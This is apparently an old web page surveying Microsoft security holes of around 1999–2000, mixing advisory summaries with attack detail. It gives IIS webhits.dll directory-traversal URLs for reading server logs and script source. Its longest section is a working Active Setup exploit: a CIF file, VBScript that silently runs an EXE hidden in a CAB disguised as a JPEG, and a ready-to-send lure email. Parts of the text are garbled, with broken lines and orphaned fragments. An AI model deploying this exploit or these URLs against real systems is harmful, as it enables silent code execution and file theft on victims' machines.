	Sign In Sign-Up

Micro$oft

When people in security speak of Gates's products, they sneer. It's a fact: Microsoft has never been a particularly secure platform, but then, these products have historically not needed to be secure. Nonetheless, times have changed; now there is a need. But if programmers at Microsoft take the next five years to hammer out some decent security schemes, they would be on par with the amount of time it took the UNIX community to do the same.

Microsoft products should not be subjected to the same scrutiny as UNIX products because they are in a different class. Despite this fact, many security specialists ridicule Microsoft products. They subject such products to rigorous tests, knowing that the products cannot pass. Then they parade the negative results across the Net, "proving" that Microsoft's security is weak and lackluster. This is irresponsible and creates a good deal of public unrest.

Security specialists should lament, not rejoice, when they find a hole in a Microsoft product. After all, such a hole simply represents one more hole in the Internet. Microsoft products should receive as much attention and respect as any other product. Moreover, security folks should educate, not ridicule, the cult following of Microsoft because that is the right thing to do.

Holes in Microsoft

IE 5.x allows executing arbitrary programs using .chm files

Description:

There is a vulnerability in IE 5.x for Win95/WinNT (probably others) which allows executing arbitrary programs using .chm files. Microsoft Networking must be installed.

Details:

The problem is the window.showHelp() method which opens .chm files. IE disallows opening .chm files with the http protocol, but allows opening if the .chm file resides on MS networking server or a local drive.In this case the .chm file is opened even if it is on a remote host. In turn .chm files may execute arbitrary programs using the "shortcut" command.

Attackers can access files outside of the web virtual directory system and view ASP source

Internet Information Server 4.0 ships with an ISAPI application webhits.dll that provides hit-highlighting functionality for Index Server. Files that have the extention .htw are dispatched by webhits.dll.

A vulnerability exists in webhits however that allows an attacker to break out of the web virtual root file system and gain unathorized access to other files on the same logical disk drive, such as customer databases, log files or any file they know or can ascertain the path to. The same vulnerability can be used to obtain the source of Active Server Pages or any other server side script file which often contain UserIDs and passwords as well as other sensitive information.

Warning

Even if you have no .htw files on your system you're probably still vulnerable! A quick test to show if you are vulnerable: go to http://YOUR_WEB_SERVER_ADDRESS_HERE/nosuchfile.htw

If you receive a message stating the "format of the QUERY_STRING is invalid" you _are_ vulnerable. Cerberus Information Security's free vulnerability scanner - CIS - now contains a check for this issue - available from the website http://www.cerberus-infosec.co.uk/

this vulnerability exploits two problems and for the sake of clarity this section will be spilt into two.

Ø If you DO have .htw files on your system

The hit-highlighting functionality provided by Index Server allows a web user to have a document returned with their original search terms highlighted on the page. The name of the document is passed to the .htw file with the CiWebHitsFile argument. webhits.dll, the ISAPI application that deals with the request, opens the file highlights accordingly and returns the resulting page. Because the user has control of the CiWebHitsFile argument passed to the

.htw file they can request pretty much anything they want. A secondary problem to this is the source of ASP and other scripted pages can be revealed too.

However, webhits.dll will follow double dots and so an attacker is able to gain access to files outside of the web virtual root. For example to view the web access logs for a given day the attacker would build the following URL

http://charon/iissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/../../win

nt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full

Sample .htw files often installed and left on the system are

/iissamples/issamples/oop/qfullhit.htw

/iissamples/issamples/oop/qsumrhit.htw

/iissamples/exair/search/qfullhit.htw

/iissamples/exair/search/qsumrhit.htw

/iishelp/iis/misc/iirturnh.htw (this .htw is normally restricted to

loopback)

Ø If you DON'T have any .htw files on your system

To invoke the webhits.dll ISAPI application a request needs to be made to a .htw file but if you don't have any on your web server you might wonder why you are still vulnerable - requesting a non-existent .htw file will fail.

The trick is to be able to get inetinfo.exe to invoke webhits.dll but then also get webhits.dll to access an existing file. We achevie this by crafting a special URL. First we need a valid resource. This must be a static file such as a .htm, .html, .txt or even a .gif or a .jpg. This will be the file opened by webhits.dll as the template file. Now we need to get inetinfo.exe to pass it along to webhits for dispatch and the only way we can do this is by requesting a .htw file.

http://charon/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w

3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full

will fail. Obviously. There is no such file on the system with that name.

Notice we've now invoked webhits, however, and by placing a specific number of spaces (%20s) between the exisiting resource and the .htw it is then possible to trick the web service: The buffer that holds the name of the .htw file to open is truncated, causing the .htw part to be removed and therefore when it comes to webhits.dll attempting to open the file it succeeds and we are then returned the contents of the file we want to access without there actually being a real .htw file on the system.

The code is probably doing something similar to this:

FILE *fd;

int DoesTemplateExist(char *pathtohtwfile)

{

// Just in case inetinfo.exe passes too long a string

// let's make sure it's of a suitable length and not

// going to open a buffer overrun vulnerability

char *file;

file = (char *)malloc(250);

strncpy(file,pathtohtwfile,250);

fd = fopen(file,"r");

// Success

if(fd !=NULL)

{

return 1;

}

// failed

else

{

return 0;

}

Here webhits.dll "contains" a function called DoesTemplateExist() and is passed a pointer to a 260 byte long string buffer containing the path to the .htw file to open but this buffer is further reduced in length by the strncpy() function removing whatever was stored in the last ten bytes (in this case the .htw of the HTTP REQUEST_URI) so when fopen() is called it succeeds. This happens because Windows NT will ignore trailing spaces in a file name.

Solution

.htw needs to be unassociated from webhits.dll To do this open the Internet Server Manager (MMC). In the left hand pane right click the computer you wish to administer and from the menu that pops up choose Properties.

>From the Master Properties select the WWW Service and then click Edit. The WWW Service Master properties window should open. From here click on the Home Directory tab and then click the Configuration button. You should be presented with an App Mappings tab in the Application Mappings window. Find the .htw extention and then highlight it then click on remove. If a

confirmation window pops up selected Yes to remove. Finally click on Apply and select all of the child nodes this should apply to and then OK that. Now close all of the WWW Service property windows.

local user can gain root/privileged access, intruders can create root-owned files, denial of service attack, etc.)

Users running MS NetMeeting Version 2.1 (The one that comes with windows 98) software in a conference can copy/paste the remote clipboard area.

With the chat windows OPENED just do a CTRL-C in the box where you write with nothing in your box and nothing selected at all. then, you can get the entire clipboard from the other user in the conference, of course, if there's something in his Clipboard (ASCII, Bin, etc).

Microsoft has in the past released virus infected documents on their web site and by other means.

Anyone visiting

http://www.microsoft.com/uk/business_technology/dns/ecommerce/financial/case.htm

to find out more about MS Exchange and E-commerce got more than they bargained for when they downloaded any of the case study documents. All were infected with W97M/Marker.C virus! Apparently no-one at Microsoft checked the documents before making them publicly available.

This security vulnerability allows a Java applet to read out any files on certain directories.

A simple code attacks the security hole. Since a beginning Java programmer can exercise one, all users should be noted. Its vulnerability is quite dangerous and immediate de-activation of IE Java function provided by Microsoft is highly recommended possibly changing to Netscape Navigator, Communicator or Sun Java Plug-in by the time Microsoft providing a "fix".

This security vulnerability allows a Java applet to read any "known files", which are common to most configuration. A hosted web site is able to retrieve file information through the applet code automaticallyspecific files which popular applications hold, and files with common names which users occasionally choose, This does not allow any change or deletion of local files. We still

believe this vulnerability is quite dangerous.

Delete Command

It appears that when Windows NT (and, I imagine, other long-filename-enabled Windows variants) matches a user-specified wildcard in a DOS prompt, it matches the wildcard against both the full filename, and the pseudo-8.3 format filename.

For example, in a directory I have two files:

Shortcut to V1.LNK

Shortcut to V2.LNK

However, these were created in reverse order, which means that their 8.3-emulated names were also created in reverse order. So DIR/X shows:

Shortcut to V1.LNK SHORTC~2.LNK

Shortcut to V2.LNK SHORTC~1.LNK

Now, I wanted to get rid of "Shortcut to V1.LNK", and a number of related files, so I typed

DEL *1.LNK

and "Shortcut to V2.LNK" disappeared as well.

Windows NT Recycle Bin

The Windows NT Recycle Bin for a given user maps to a folder, whose name is based on the owner's SID. The folder is created the first time the user deletes a file, and the owner is given sole permissions to it. However, if a malicious user could create the folder before the bona fide one were created, he or she could assign any desired permissions to it. This would allow him or her to create, modify or delete files in the Recycle Bin, but in most cases would not enable them to read files unless he or she already were able to.

There are several significant limitations that would make it difficult to exploit this vulnerability:

- The malicious user would need to create the bogus Recycle Bin before the user's bona fide one were created. - The malicious user would need to share a machine with the other user. The vulnerability would only enable the malicious user to take action against the Recycle Bin on the particular machine, and the particular partition, that was attacked. - The malicious user could add files to the Recycle Bin, but this vulnerability would not allow him or her to induce the other user to retrieve them.

Affected Software Versions

- Microsoft Windows NT Workstation 4.0

- Microsoft Windows NT Server 4.0

- Microsoft Windows NT Server 4.0, Enterprise Edition

Patch Availability

- Intel:

http://www.microsoft.com/downloads/release.asp?ReleaseID=17606

- Alpha:

http://www.microsoft.com/downloads/release.asp?ReleaseID=17607

"Registry Permissions" Vulnerability

This vulnerability involves three sets of registry keys whose default permissions are too permissive. These permissions could allow a malicious user who could interactively log onto a target machine to:

- Cause code to run in a local system context.

- Cause code to run the next time another user logged onto the

same machine.

- Disable the security protection for a previously-reported vulnerability.

These three key sets are not related to each other except by the fact that their permissions should be tightened. A tool is available that will reset all of the affected keys to the correct default value.

Affected Software Versions

- Microsoft Windows NT 4.0 Workstation

- Microsoft Windows NT 4.0 Server

- Microsoft Windows NT 4.0 Server, Enterprise Edition

- Microsoft Windows NT 4.0 Server, Terminal Server Edition

NOTE: Windows 2000 is not affected by this vulnerability.

Patch Availability

- Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=19172

- Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=19173

"Image Source Redirect" Vulnerability

When a web server navigates a window from one domain into another one, the IE security model checks the server's permissions on the new page. However, it is possible for a web server to open a browser window to a client-local file, then navigate the window to a page that is in the web site's domain in such a way that the data in the client-local file is accessible to the new window. The data would only be accessible to the new window for a very brief period, but the result is that it could be possible for a malicious web site operator to view files on the computer of a visiting user. The web site operator would need to know (or guess) the name and location of the file, and could only view file types that can be opened in a browser window.

Affected Software Versions

Microsoft Internet Explorer 4.0 and 4.01.

Microsoft Internet Explorer 5 and 5.01.

Patch Availability

http://windowsupdate.microsoft.com

http://www.microsoft.com/windows/ie/security/patch5.asp

Vulnerability details and example exploit for Microsoft Active Setup control's unsigned CAB file execution vulnerability.

On November 8th 1999, a public announcement was made that a severe vulnerability existed in Microsoft's Active Setup control which was shipped with Internet Explorer 4 and above. The vulnerability was so severe that almost any kind of break-in was possible into client machines. Email bombs, viruses, criminal acts such as gathering of secret documents, etc. are all very possible with such a security hole.

Microsoft was quick to release a security bulletin and make patches available on its website. Nobody apart from Microsoft and Juan Carlos Garcia Cuartango knew how to exploit the vulnerability and the whole world was a safer place. Not many knew how to use the Active Setup control as not much information was released to the public about the control. Now that its been quite a while since patches have been made available, I have decided to release an example exploit to implicitly explain what kind of security measures have to be deployed.

The Active Setup control has a vulnerability which allows the installation of software from unsigned local CAB files. By local files, I mean CAB files on the client machine (as opposed

to on the Internet). No checking is done and the contents of the cabinet file are trusted. This is the vulnerability.

For details on the Active Setup process and using the component, please refer to the links provided at the end of this document. In short words, the Active Setup control is a software component (which may be used in other programs/scripts) to install software. The Active Setup control is used through function calls in the program/script code. An input CAB file contains a list of installation files (including executable files) and a cabinet information file (CIF) which

describes what is to be done with the CAB file.

Exploit Details

We now examine how this bug may be exploited. Supposing we are able to store an unsigned CAB on the client machine, it becomes local to the client. Hence, we may process the unsigned CAB file using the Active Setup control successfully. We may use an HTML file with VBScript in it to run the control. VBScript has support for ActiveX controls (Active Setup is an ActiveX control). The VBScript is invoked when the HTML file loads. The VBScript then initializes the control with details of where the CAB file is present on the client machine, and asks the control to process the CAB file. The Active Setup control then processes the CAB file, and executes EXE programs archived in the CAB file with NO SECURITY LIMITATIONS. The EXE program may then do anything it wishes to do. Now, obviously, there are questions in your head. How do I transfer a CAB file onto the client's machine? The answer is simple. The client user is not mad to download an unsigned CAB file. So you may disguise it as a file of another format (in short words, rename the file's extension). Now, what types of files are implicitly downloaded? HTML, GIF, JPG, etc. which make up a page are downloaded when the user visits a site using Internet Explorer. But these files are stored in temporary directories. Although a CAB file disguised as a JPG file will download onto the local client, where will it be stored? The location is not fixed. When the location can be determined, we may be able to write an exploit for Internet Explorer. But until then, there are other options. Hey, what about Outlook Express? Too many people have told me.

"DON'T USE OUTLOOK EXPRESS! It's too intelligent." They are right I guess. Outlook Express uses components of Internet Explorer to handle HTML files. So You can display HTML messages in Outlook express. More important, YOU CAN RUN VBSCRIPTS in Outlook Express. How is it going to help? SIMPLE. I attach a file called "x.jpg" to a email and send it to the client, and the client downloads it using Outlook Express. When he/she VIEWS THE EMAIL (when he/she clicks on the subject in the message window), Outlook Express tries to display the attached "x.jpg" file as a JPEG attachment. For this, it saves the JPEG file in the directory pointed by the environment variable TEMP. This is mapped to C:\WINDOWS\TEMP on most machines. So, "x.jpg" is saved as "C:\WINDOWS\TEMP\x.jpg". Now, if i create a CAB file (with my malicious EXE program in it) and rename it to "x.jpg" and attach it to a email message, it will go to the same location. Outlook Express will fail to display the file (will show an icon with "X" instead). So, I now know the location of the CAB file on the client machine. I can also execute VBScript from the same email message (which contains HTML), which will then create and initialize the Active Setup control to install from the local file (C:\WINDOWS\TEMP\x.jpg). The Active Setup control does not mind the different file extension. Then, when the VBScript asks the control to process the components of the CAB file, the malicious EXE program can execute.

Practical Demonstration

First, let us build the CAB file. We have the executable EXE program which has to be executed on the target machine. Let's call it ASDF.EXE. This ASDF.EXE could be a non-interactive program which runs silently (as in a real life cracking scenario) without any visual indication of it running. For our example we may make a copy of NOTEPAD.EXE and call it ASDF.EXE.

Now, we need to put another file into the CAB. It is a cabinet nformation file (CIF). An example file is given as follows (with comments). More on creating this file, and fields you can put in it, is present in a description of the Active Setup control given in one of the links at the end of this document.

; Start of ASDF.CIF (note: semicolon is for comment)

; Anything in [] means a section

[Version]

Signature=$Chicago$

; DisplayName gives the name that the Active Setup

; control displays when it tries to install the component

; (if you ask it to display progress indicators, etc.)

DisplayName=Active Setup Control Sample Exploit

;Require 1MB of free space to start

MinFileSize=1000

; [ASDF] is a section devoted to the dummy

; ASDF component we will fake installing.

[ASDF]

; Guess you know this already.

DisplayName=ASDF Sample Main Module

; GUID is a unique ID.. guess something unique will do.

GUID={AABBCCDD-B00B-FACE-DADA-00AA00BB00CC}

; URLn point to URLs of various CAB files. Our CAB file

; will eventually be disguised (renamed) as a JPG file

; and be stored in "asdf.jpg". so there.

URL1="ascb.jpg",3

; Sizen = compressed/actual size of installation files on disk?

; A dummy value greater than size of "ASDF.EXE" should do.

Size1=1417,1430

; This is important. Commandn gives the name of the

; command (in the CAB file) to execute when installation

; starts. This will be our EXE file.

Command1="asdf.exe"

; Type of installation. This field is described in the

; documentation for the Active Setup control.

Type1=2

Version=1,00,1234,0

; 0 = no reboot, 1 = reboot.

; obviously, DON'T REBOOT AFTER INSTALLATION IS COMPLETE!

Reboot=0

; Space occupied by the installed files. A dummy value

; greater than size of "ASDF.EXE" should do.

InstalledSize=980,524

; End of ASDF.CIF

We now need a program to create the CAB archive which will obtain the two files ASDF.EXE and ASDF.CIF. MAKECAB.EXE, which is included with Microsoft Visual Studio distributions doesn't seem to be able to handle more than one file inside the CAB archive. You may try a shareware program like Archive Explorer available from http://www.dennisre.com/ax/ to create your CAB files. Once your CAB file is created (containing ADSF.EXE and ASDF.CIF), rename the CAB file to ASDF.JPG. Now, the CAB file is ready. Let's move on to the VBScript part.

Create a HTML file with the following contents. The contents

are described with comments in the file itself. No further

explanation should be necessary.

<HTML>

<HEAD>

</HEAD>

<!-- On loading, we execute the VBScript function TryInstall()

-->

<!--

Create an object with the following classid. The classid

is for the HKEY_CLASSES_ROOT\ASControls.InstallEngineCtl

and can be verified using REGEDIT.EXE. Call the object "Inst".

This is our Active Setup control we will exploit.

-->

<object id="Inst"

classid="CLSID:6E449683-C509-11CF-AAFA-00AA00B6015C">

</object>

<!--

Sub TryInstall()

'Set the BaseUrl to C:\WINDOWS\TEMP

'and the CIF file to ASDF.CIF which is inside

'ASDF.JPG (which is actually the renamed CAB file).

'This is because Outlook Express will save the asdf.jpg

'file in C:\WINDOWS\TEMP on most systems.

Inst.BaseUrl = "file:///C:/Windows/Temp"

Inst.SetCifFile "asdf.jpg", "asdf.cif"

'Now, the installation engine of the Active Setup control

'will unpack the CAB file and initialize itself with details

'from the included CIF file. But this takes TIME. If this were

'Visual Basic, we could have polled Inst.EngineStatus in a loop

'with a DoEvents in it. But this won't work in VBScript.

'So we will introduce a delay for the engine to initialize

itself.

'There is no Sleep() function in VBScript :(

'We can simulate a 1/2 second sleep using the following

workaround

'by splitting up our code into two functions.

x = SetTimeout("DoRest",500,"VBScript")

End Sub

Sub DoRest()

'Ah! 1/2 second has passed. So has the engine initialized

itself?

If Inst.EngineStatus <> 3 Then

'Uh oh! We have a problem if EngineStatus <> 3! If you have

followed

'instructions correctly, this would mean that the 1/2 second

delay

'was not enough. Or maybe you have installed Microsoft's

patches :)

'If a larger delay doesn't help, check if the file "ADSF.JPG"

exists

'in C:\WINDOWS\TEMP and it is a valid CAB file and it contains

the

'ASDF.CIF and ADSF.EXE files. Check if ASDF.CIF has valid and

correct

'information.

'The thing anyone would do now would be to silently exit the

VBScript and

'keep quiet about it.

Exit Sub

End If

'Oh wow! We have things moving now. There were no problems with

the

'engine initialization.

'SetAction sets the action for the [ASCB] module to be

1=Install module.

'SetAction accepts values other than 1 for uninstall, etc.

Inst.SetAction "ASCB", 1

'ProcessComponents is used to start the install (our dummy

install).

'This will execute the command described by Command1="asdf.exe"

line

'in ASDF.CIF file.

'ProcessComponents with an argument of 7 (111 binary) will

inhibit

'the display of all progress and status and information windows

during

'the dummy installation.

Inst.ProcessComponents 7

'Well, if you have come so far, your program ASDF.EXE has

already run.

'So there.

End Sub

//-->

</script>

</BODY>

</HTML>

Now what? Well, I guess it should be simple now. Create an

email message containing the above HTML. Attach the ASDF.JPG

file to it. Send it to the target client.

A sample email which you can pipe into /usr/lib/sendmail is

given as follows. This will work with Outlook Express.

Use "/usr/lib/sendmail -t < the_following_text.txt".

From: Sender <sender@yourhost.com>

To: Receipient <receipt@targethost.com>

Subject: Hi

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="----=_NextPart_000_0071_01BF2DD4.558D3F20"

This is a multi-part message in MIME format.

------=_NextPart_000_0071_01BF2DD4.558D3F20

Content-Type: multipart/alternative;

boundary="----=_NextPart_001_0072_01BF2DD4.558D3F20"

------=_NextPart_001_0072_01BF2DD4.558D3F20

Content-Type: text/plain;

charset="us-ascii"

Here is a great picture for you....!!!

------=_NextPart_001_0072_01BF2DD4.558D3F20

Content-Type: text/html;

charset="us-ascii"

<HTML>

<HEAD>

</HEAD>

Here is a great picture for you....!!!

<object id="Inst"

classid="CLSID:6E449683-C509-11CF-AAFA-00AA00B6015C">

</object>

<!--

Sub TryInstall()

Inst.BaseUrl = "file:///C:/Windows/Temp"

Inst.SetCifFile "asdf.jpg", "asdf.cif"

x = SetTimeout("DoRest",500,"VBScript")

End Sub

Sub DoRest()

If Inst.EngineStatus <> 3 Then

Exit Sub

End If

Inst.SetAction "ASDF", 1

Inst.ProcessComponents 7

End Sub

//-->

</script>

</BODY>

</HTML>

------=_NextPart_001_0072_01BF2DD4.558D3F20--

------=_NextPart_000_0071_01BF2DD4.558D3F20

Content-Type: image/jpeg;

name="asdf.jpg"

Content-Transfer-Encoding: base64

Content-Disposition: attachment;

filename="asdf.jpg"

TVNDRgAAAACaSAAAAAAAACwAAAAAAAAAAwEBAAIAAADKUQAAXgAAAAIAAxUA0AA

AAAAAAAAA

YOUR MIME ENCODED ASDF.JPG FILE (CABINET FILE)

GOES HERE. use "mimencode" to encode your file.

JzyP5RPpLP721w5JQuJDq4X9V+Lg9T+5N/TYlKJPQO5OhkNNxv/C5VJSf1mvnD/

dkpPBfy+X

seZRxIgSPp8AAA==

------=_NextPart_000_0071_01BF2DD4.558D3F20--

Place your MIME base64 encoded ASDF.JPG file in the place shown

above. Remove the lines with the junk characters (watch the

spacing). They are retained above as delimiters for your

reference. You should put your own MIME encoded ASDF.JPG in

place of it. You can MIME encode your file using the

"mimencode" program.

Cons and defences

This bug is BIG. Anyone can do anything with your computer if

you use Outlook Express and have not taken precautionary

measures. The threat of email viruses, email bombs, etc. cannot

be ruled out. More importantly, if your computer contains

classified data, this can easily be transferred out. Proxies

and firewalls cannot prevent any damage!

What can be done?

1. Download the patches from Microsoft's website for the Active

Setup control and install them.

2. Junk Outlook Express. It is too intelligent. Use a simple

e-mail client such as PINE.

3. Set your TEMP directory to something else.

4. Disable all ActiveX component execution (High security

zone).

This session just gives the plain view of the vuluneurabilities avilable in Microsoft platform. There are many more to be explored by security professionsals. The system administrator should be knowing all the exploits, and get his knowledge updated by joining the mailing lists which inform of the latest bugs in the software. Which when know should be immedialtly fixed.